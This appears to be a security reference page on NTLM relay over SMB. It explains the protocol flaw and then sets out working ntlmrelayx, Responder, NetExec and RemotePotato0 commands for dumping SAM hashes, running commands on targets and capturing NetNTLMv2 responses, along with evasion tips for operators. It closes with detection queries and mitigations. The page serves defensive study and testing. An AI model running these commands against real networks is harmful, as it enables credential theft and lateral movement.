How it works
NTLM authentication is a challenge and response exchange:
- The client sends a
NEGOTIATEmessage with its supported options. - The server replies with a
CHALLENGEthat contains an 8-byte random value. - The client computes a response from the challenge and a key derived from the account's NT hash, and sends it in an
AUTHENTICATEmessage with the user name and domain. - The server validates the response, locally for a local account or by passing it to a domain controller over the Netlogon secure channel.
- If validation succeeds, the server creates a session for that identity.
Nothing in the exchange ties the response to the server the client intended. An attacker who receives a victim's authentication can open its own connection to a real server, pass that server's challenge to the victim, and pass the victim's response back. The server validates a perfectly good response and opens a session, but the session belongs to the attacker. The password and the hash are never learned; a response recorded earlier is useless for a new challenge, so the relay has to happen while the victim is authenticating.
The attacker needs two things: incoming authentication and a target that accepts it.
Incoming authentication comes from LLMNR, NBT-NS and mDNS poisoning, from mitm6, from authentication coercion that makes a server's computer account connect to the attacker, or from a file or link that references an attacker-controlled path.
The target is any SMB server that does not require signing. SMB signing adds a signature to every message, computed with a session key that comes out of the authentication. The relaying attacker does not know that key, so when the server requires signing, the first message after authentication is rejected. Two settings are often confused:
- Outbound signing governs what the SMB client on a machine sends.
- Inbound signing governs what the SMB server on a machine accepts. This is the one that stops relay.
| Platform | Default SMB signing behavior |
|---|---|
| Domain controllers | Inbound signing is required by the Default Domain Controllers Policy |
| Windows 11 24H2 Pro, Enterprise and Education | Outbound and inbound signing required |
| Windows 11 24H2 Home | Neither required |
| Earlier Windows clients and member servers | Signing is supported but not required |
Because member servers and older workstations do not require signing by default, most domains have many valid targets. Never infer the state from the operating system version; read the effective RequireSecuritySignature value on the server.
Who can be relayed where
- A domain user can be relayed to any reachable server that trusts the domain. What the session can do depends on the user's rights on that server.
- A computer account authenticates in its own right and can be relayed too. It is only useful against a target where that computer account has rights, for example a server that lists another server's account as a local administrator.
- A local account is validated against the target's own SAM, so the relay only works on a host with the same account and password.
- Authentication cannot be relayed back to the host it came from. CVE-2025-33073 bypassed that protection until the June 2025 update; see the analysis of CVE-2025-33073.
Cross-session relay on one host
RemotePotato0 showed a variant that needs no network position. A low-privileged user logged on to a machine triggers DCOM activation in the session of another logged-on user, for example an administrator connected over RDP, which makes that user's session authenticate with NTLM over RPC. The tool captures that authentication or relays it across protocols. Microsoft fixed the original RPC to LDAP scenario in October 2022. The tool also has a capture mode that records the other user's NetNTLMv2 response for offline cracking instead of relaying it.
Prerequisites
- A way to receive NTLM authentication from a victim: poisoning on the local segment, coercion of a server, or a planted reference.
- A target SMB server that does not require inbound signing and is reachable on TCP 445.
- The target must be a different host from the one that authenticates.
- For code execution or credential dumping: the relayed account must be a local administrator on the target. Otherwise the attacker gets the account's share access only.
- NTLM must be allowed between the victim and the target.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Find servers that do not require signing
NetExec writes the hosts that do not require SMB signing to a file:
nxc smb 192.0.2.0/24 --gen-relay-list targets.txt
On a single server, the effective setting is visible with PowerShell:
Get-SmbServerConfiguration | Select-Object RequireSecuritySignature, EnableSecuritySignature
2. Start the relay
ntlmrelayx listens for incoming SMB and HTTP authentication and relays each one to the targets in the file. With no other option, when the relayed account is a local administrator, it dumps the local SAM hashes of the target:
ntlmrelayx.py -tf targets.txt -smb2support
Other things to do with the session:
# Run a command on the target
ntlmrelayx.py -tf targets.txt -smb2support -c "whoami /all"
# Keep the sessions open and reach them through a SOCKS proxy
ntlmrelayx.py -tf targets.txt -smb2support -socks
# Open an SMB client shell on a local TCP port instead of running an attack
ntlmrelayx.py -t smb://192.0.2.20 -smb2support -i
| Option | Meaning |
|---|---|
-t, --target |
One target, as a host or a URL such as smb://host |
-tf |
File with one target per line |
-smb2support |
Enable SMB2 support |
-c |
Command to execute on the target |
-e |
File to upload and execute on the target |
-i, --interactive |
Open a local console for the relayed session |
-socks |
Start a SOCKS proxy for the relayed connections |
--no-http-server, --no-smb-server |
Turn off a listener that another tool needs |
3. Bring the authentication in
On the local segment, run a poisoner with its own SMB and HTTP servers turned off, so the relay tool receives the connections. In Responder.conf set SMB = Off and HTTP = Off, then:
sudo python3 Responder.py -I eth0 -v
To relay a specific server's computer account instead of waiting for users, coerce that server to authenticate to the attacker's host. The methods are on the authentication coercion page.
4. Use the result
Local account hashes dumped from the SAM can be reused with pass the hash on every host that shares the same local administrator password. With -socks, other Impacket tools run through the proxy as the relayed user without any credential.
Cross-session capture with RemotePotato0
From a session on a machine where another user is logged on, list the sessions and capture that user's NetNTLMv2 response:
query user
.\RemotePotato0.exe -m 2 -s 1
-m 2 selects the RPC capture server with the trigger, and -s is the session id of the other user.
Impact
A successful relay is lateral movement without a credential. The attacker acts on the target as the relayed account for as long as the session lasts.
- With a local administrator on the target: command execution as SYSTEM through the service control manager, the local SAM hashes, LSA secrets (service account passwords, the computer account's key, cached domain logons), and from there the credentials of anyone who signs in to that host.
- With an ordinary user: read and write access to that user's shares, which often hold scripts, configuration files and documents with further credentials.
- With a computer account that administers another system, for example a management server: administrator access to that system.
On a flat network with a shared local administrator password and no signing requirement, one relayed administrator session commonly leads to most workstations and member servers.
OPSEC and artifacts
- Choosing targets carefully. Operators relay only to hosts where the expected victims are administrators, because every relayed authentication creates a logon on the target whether or not it is useful. The target records event 4624, logon type 3 with the NTLM package, for the victim's account, and the source address is the attacker's host, not the victim's.
- Mismatched workstation and address. The workstation name in the logon is supplied by the client side of the exchange, so it names the victim's machine while
IpAddressis the attacker's. That mismatch is the classic trace of a relay. - Validation at the domain controller. For a domain account, the DC that validates the response writes event 4776. With NTLM auditing enabled it also writes event 8004, which names the account, the client workstation and the server that passed the authentication on.
- Avoiding services. Running a command through the service control manager creates a service on the target and writes event 7045 in the System log. Operators who only need credentials dump the SAM over the remote registry instead, or use the SOCKS mode and read shares, which leaves only share access events.
- Share access. With Detailed File Share auditing, event 5145 records access to
ADMIN$,C$, andIPC$with pipe names such assvcctlandwinreg. - On the victim: nothing unusual in the Security log. The victim authenticated to what it believed was a server.
Detection
- Source address does not belong to the account's host. An NTLM network logon where
WorkstationNamenames one machine andIpAddressbelongs to another. The NTLM relay detection rules are built on this. - Computer accounts logging on to other hosts with NTLM. A machine account that opens NTLM network logons on several servers in a short time is unusual outside file, print and management servers, and often follows coercion; see the authentication coercion rules.
- Event 8004 on domain controllers. The most useful DC-side starting point: join it to the 4624 on the forwarding server by account and time to find the source address.
- Administrative shares and pipes after an NTLM logon: 5145 for
ADMIN$or thesvcctlandwinregpipes, and 7045 for a new service with a random name.
// NTLM network logons by computer accounts to several hosts in 10 minutes
WindowsEvent
| where EventID == 4624
| where tostring(EventData.LogonType) == "3"
| where tostring(EventData.AuthenticationPackageName) =~ "NTLM"
| extend Account = tostring(EventData.TargetUserName),
Domain = tostring(EventData.TargetDomainName),
SrcIp = tostring(EventData.IpAddress),
Workstation = tostring(EventData.WorkstationName)
| where Account endswith "$"
| summarize Hosts = dcount(Computer), Logons = count(),
FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated)
by Account, Domain, SrcIp, Workstation, bin(TimeGenerated, 10m)
| where Hosts >= 3
| order by Hosts desc
// Domain controller view: NTLM validations for computer accounts, with the forwarding server
WindowsEvent
| where Channel == "Microsoft-Windows-NTLM/Operational" and EventID == 8004
| extend Account = tostring(EventData.UserName),
Domain = tostring(EventData.DomainName),
Workstation = tostring(EventData.WorkstationName),
Forwarder = tostring(EventData.SChannelName)
| where Account endswith "$"
| summarize Count = count(), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated)
by Account, Domain, Workstation, Forwarder, Computer
| order by Count desc
Machine accounts authenticate to file and print servers in normal operation, and NAT hides source addresses, so baseline before alerting. Event 8004 needs the Restrict NTLM audit policy for the domain. A direct logon by the same account from the same address produces the same 4624 fields, so treat a match as a lead and confirm it with what the session did.
Mitigation
- Require SMB signing on every server and workstation. Set Microsoft network server: Digitally sign communications (always) to Enabled by Group Policy, and the matching client setting where compatible. This is the control that ends SMB relay. The SMB signing guide covers the audit and the rollout.
- Remove the sources of authentication. Disable LLMNR, NBT-NS and mDNS with the LLMNR and NBT-NS guide, filter rogue DHCPv6, and patch or disable the services used for coercion.
- Keep Windows patched. The June 2025 update for CVE-2025-33073 closes the reflective relay that worked against hosts without required signing.
- Reduce local administrator rights. A relayed session is only as powerful as the account. Remove domain users and groups from local Administrators where they are not needed, do not let server computer accounts administer other servers, and use unique local administrator passwords so dumped SAM hashes do not work elsewhere.
- Reduce NTLM. Audit NTLM use with the Restrict NTLM policies, add privileged accounts to Protected Users (they cannot use NTLM), and disable NTLMv1.
- Segment. Block workstation to workstation SMB with the host firewall, so that a relay from a user segment can only reach servers that need to be reachable.
Detection rules for this attack
Log events to collect
FAQ
Why does NTLM relay work?
NTLM proves that the client knows the password by answering a challenge, but the answer is not bound to the server the client meant to reach. An attacker in the middle passes the real server's challenge to the victim and the victim's answer back, and the server opens a session for the victim that the attacker controls.
Does SMB signing stop SMB relay?
Yes, when the target server requires it. Signing keys come from the account's password, which the relaying attacker never learns, so the attacker cannot sign the messages that follow authentication and the server rejects them. Signing that is enabled but not required does not help, because the attacker simply does not negotiate it.
Can the authentication be relayed back to the machine it came from?
Not normally. Microsoft blocked reflecting NTLM authentication back to the same host with MS08-068. CVE-2025-33073, patched in June 2025, was a way around that check on hosts that do not require SMB signing, which is another reason to require signing everywhere.
What does the attacker get from an SMB relay?
A session with the rights of the relayed account on the target. If the account is a local administrator there, the attacker can run commands and dump the local SAM database and LSA secrets. If it is an ordinary user, the attacker can read and write the shares that user can reach.
References
- Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay, T1557.001 (MITRE ATT&CK)
- Control SMB signing behavior (Microsoft Learn)
- SMB security hardening in Windows Server and Windows client (Microsoft Learn)
- Microsoft network server: Digitally sign communications (always) (Microsoft Learn)
- Impacket ntlmrelayx.py
- NetExec wiki: Enumerate hosts with SMB signing not required
- RemotePotato0 (antonioCoco)
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.